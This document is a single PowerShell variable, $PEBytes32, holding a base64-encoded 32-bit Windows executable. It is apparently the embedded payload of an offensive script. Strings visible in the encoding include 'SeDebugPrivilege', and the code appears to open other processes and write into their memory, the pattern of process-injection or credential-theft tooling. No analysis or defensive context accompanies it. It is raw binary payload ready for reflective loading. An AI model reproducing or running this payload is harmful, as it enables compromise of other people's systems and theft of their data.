$PEBytes32 = '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